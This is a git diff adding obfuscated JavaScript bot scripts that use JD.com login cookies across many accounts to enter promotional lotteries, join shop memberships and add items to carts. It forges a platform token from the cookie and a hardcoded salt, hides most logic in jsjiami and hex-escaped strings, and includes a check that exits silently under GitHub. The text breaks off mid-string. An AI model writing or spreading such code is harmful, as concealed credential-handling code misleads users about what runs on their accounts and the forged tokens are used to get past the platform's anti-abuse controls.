_0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cjhy_wxCollectionActivity.js b/jd_cjhy_wxCollectionActivity.js new file mode 100644 index 0000000..7348d08 --- /dev/null +++ b/jd_cjhy_wxCollectionActivity.js @@ -0,0 +1,22 @@ +/* +cjhy加购物车抽奖 +地址: +https://cjhy-isv.isvjcloud.com/wxCollectionActivity/activity/856c7e97bfd14dd0852c7882ce412100?activityId=856c7e97bfd14dd0852c7882ce412100 +export jd_cjhy_wxCollectionActivityId = "xxx" 活动Id 必须 +export jd_cjhy_wxCollectionActivity_num="10" 执行前多少个号 不设置则默认执行前10个 + +export jd_wxCollectionActivity_openCard="1" 设置为1则自动入会 不设置或者设置为0则不会自动入会 +加购无需自动入会, 上面这个变量可以不用写。 +cron "1 1 1 1 1" jd_cjhy_wxCollectionActivity.js +*/ + +const $ = new Env('cjhy加购物车抽奖') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + + +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxe8e4a=["","\x6A\x64\x5F\x63\x6A\x68\x79\x5F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x65\x6E\x76","\x6A\x64\x5F\x63\x6A\x68\x79\x5F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x5F\x6E\x75\x6D","\x6A\x64\x5F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x5F\x6F\x70\x65\x6E\x43\x61\x72\x64","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x68\x6F\x74\x46\x6C\x61\x67","\x6F\x75\x74\x46\x6C\x61\x67","\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6E\x64","\x70\x72\x69\x7A\x65\x4C\x69\x73\x74","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\x6C\x6F\x67\x45\x72\x72","\x63\x61\x74\x63\x68","\x6E\x61\x6D\x65","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x6D\x73\x67","\x65\x78\x70\x6F\x72\x74\x20\x6A\x64\x5F\x63\x6A\x68\x79\x5F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D\x22\x78\x78\x78\x22\x20\u672A\u8BBE\u7F6E\x20\u9000\u51FA\uFF01\uFF01\uFF01","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x72\x61\x6E\x64\x6F\x6D\x4E\x75\x6D","\u6D3B\u52A8\x49\x64\x3A","\u6D3B\u52A8\u5730\u5740\x3A\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6A\x68\x79\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x2F","\x3F\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x62\x65\x61\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x69\x73\x4C\x6F\x67\x69\x6E","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\u3010\u63D0\u793A\u3011\x63\x6F\x6F\x6B\x69\x65\u5DF2\u5931\u6548","\u4EAC\u4E1C\u8D26\u53F7","\x20","\x5C\x6E\u8BF7\u91CD\u65B0\u767B\u5F55\u83B7\u53D6\x5C\x6E\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x62\x65\x61\x6E\x2F\x73\x69\x67\x6E\x49\x6E\x64\x65\x78\x2E\x61\x63\x74\x69\x6F\x6E","\u6267\u884C\u4E86","\u4E2A\u9000\u51FA","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\x54\x6F\x6B\x65\x6E","\x50\x69\x6E","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\u83B7\u53D6\x5B\x74\x6F\x6B\x65\x6E\x5D\u5931\u8D25\uFF01","\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\u5931\u8D25","\x67\x65\x74\x53\x69\x6D\x70\x6C\x65\x41\x63\x74\x49\x6E\x66\x6F\x56\x6F","\x67\x65\x74\x4D\x79\x50\x69\x6E\x67","\x67\x65\x74\x4D\x79\x50\x69\x6E\x67\x20\u83B7\u53D6\u5931\u8D25","\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6F\x6E\x74\x65\x6E\x74","\u62BD\u5956\u89C4\u5219\x3A","\x72\x75\x6C\x65","\x73\x68\x6F\x70\x49\x6E\x66\x6F","\u5E97\u94FA\u4FE1\u606F\x3A","\x73\x68\x6F\x70\x4E\x61\x6D\x65","\x20\x2D\x20","\x75\x73\x65\x72\x49\x64","\x67\x65\x74\x55\x73\x65\x72\x49\x6E\x66\x6F","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67","\x67\x65\x74\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F","\x77\x61\x69\x74","\x6F\x70\x65\x6E\x65\x64\x43\x61\x72\x64","\u53BB\u5165\u4F1A\x3A","\x6A\x6F\x69\x6E\x56\x65\x6E\x64\x65\x72\x49\x64","\u6D3B\u52A8\u592A\u706B\u7206\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5","\x69\x6E\x64\x65\x78\x4F\x66","\x65\x72\x72\x6F\x72\x4A\x6F\x69\x6E\x53\x68\x6F\x70","\u52A0\u5165\u5E97\u94FA\u4F1A\u5458\u5931\u8D25","\u7B2C\x31\u6B21\u91CD\u8BD5","\x72\x61\x6E\x64\x6F\x6D","\u7B2C\x32\u6B21\u91CD\u8BD5","\u7B2C\x33\u6B21\u91CD\u8BD5","\u5982\u9700\u81EA\u52A8\u5165\u4F1A\x2C\x20\u8BF7\u8BBE\u7F6E\u73AF\u5883\u53D8\u91CF\x3A\x20\x65\x78\x70\x6F\x72\x74\x20\x6A\x64\x5F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x5F\x6F\x70\x65\x6E\x43\x61\x72\x64\x3D\x22\x31\x22","\u5DF2\u5165\u4F1A\x3A","\x68\x61\x73\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x53\x69\x7A\x65","\x6E\x65\x65\x64\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x53\x69\x7A\x65","\u52A0\u8D2D","\x6E\x65\x77\x46\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\x63\x70\x76\x6F\x73","\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E","\u52A0\u8D2D\x3A","\x70\x72\x6F\x64\x75\x63\x74\x49\x64","\x61\x64\x64\x43\x61\x72\x74","\u5DF2\u52A0\u8D2D\x3A","\x68\x61\x73\x41\x64\x64\x43\x61\x72\x74\x53\x69\x7A\x65","\x67\x65\x74\x50\x72\x69\x7A\x65","\u5DF2\u52A0\u8D2D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6A\x68\x79\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D","\x50\x4F\x53\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x26\x6C\x6D\x74\x3D\x30","\x2F\x63\x75\x73\x74\x6F\x6D\x65\x72\x2F\x67\x65\x74\x53\x69\x6D\x70\x6C\x65\x41\x63\x74\x49\x6E\x66\x6F\x56\x6F","\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x2F\x63\x75\x73\x74\x6F\x6D\x65\x72\x2F\x67\x65\x74\x4D\x79\x50\x69\x6E\x67","\x75\x73\x65\x72\x49\x64\x3D","\x26\x74\x6F\x6B\x65\x6E\x3D","\x26\x66\x72\x6F\x6D\x54\x79\x70\x65\x3D\x41\x50\x50","\x2F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6F\x6E\x74\x65\x6E\x74","\x26\x70\x69\x6E\x3D","\x2F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x73\x68\x6F\x70\x49\x6E\x66\x6F","\x2F\x77\x78\x44\x72\x61\x77\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x64\x72\x61\x77\x4D\x79\x4F\x6B\x4C\x69\x73\x74","\x26\x74\x79\x70\x65\x3D","\x61\x63\x74\x69\x76\x69\x74\x79\x54\x79\x70\x65","\x64\x72\x61\x77\x4D\x79\x4F\x6B\x4C\x69\x73\x74","\x2F\x77\x78\x41\x63\x74\x69\x6F\x6E\x43\x6F\x6D\x6D\x6F\x6E\x2F\x67\x65\x74\x55\x73\x65\x72\x49\x6E\x66\x6F","\x70\x69\x6E\x3D","\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x63\x63\x65\x73\x73\x4C\x6F\x67","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6A\x68\x79\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D\x2F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x2F","\x26\x73\x69\x64\x3D\x26\x75\x6E\x5F\x61\x72\x65\x61\x3D","\x76\x65\x6E\x64\x65\x72\x49\x64\x3D","\x76\x65\x6E\x64\x65\x72\x49\x64","\x26\x63\x6F\x64\x65\x3D","\x26\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3D","\x26\x70\x61\x67\x65\x55\x72\x6C\x3D","\x26\x73\x75\x62\x54\x79\x70\x65\x3D\x61\x70\x70","\x2F\x6D\x63\x2F\x6E\x65\x77\x2F\x62\x72\x61\x6E\x64\x43\x61\x72\x64\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x73\x68\x6F\x70\x41\x6E\x64\x42\x72\x61\x6E\x64\x2F\x67\x65\x74\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F","\x26\x62\x75\x79\x65\x72\x50\x69\x6E\x3D","\x26\x61\x63\x74\x69\x76\x69\x74\x79\x54\x79\x70\x65\x3D","\x2F\x77\x78\x41\x63\x74\x69\x6F\x6E\x43\x6F\x6D\x6D\x6F\x6E\x2F\x6E\x65\x77\x46\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\x26\x76\x65\x6E\x64\x65\x72\x49\x64\x3D","\x2F\x7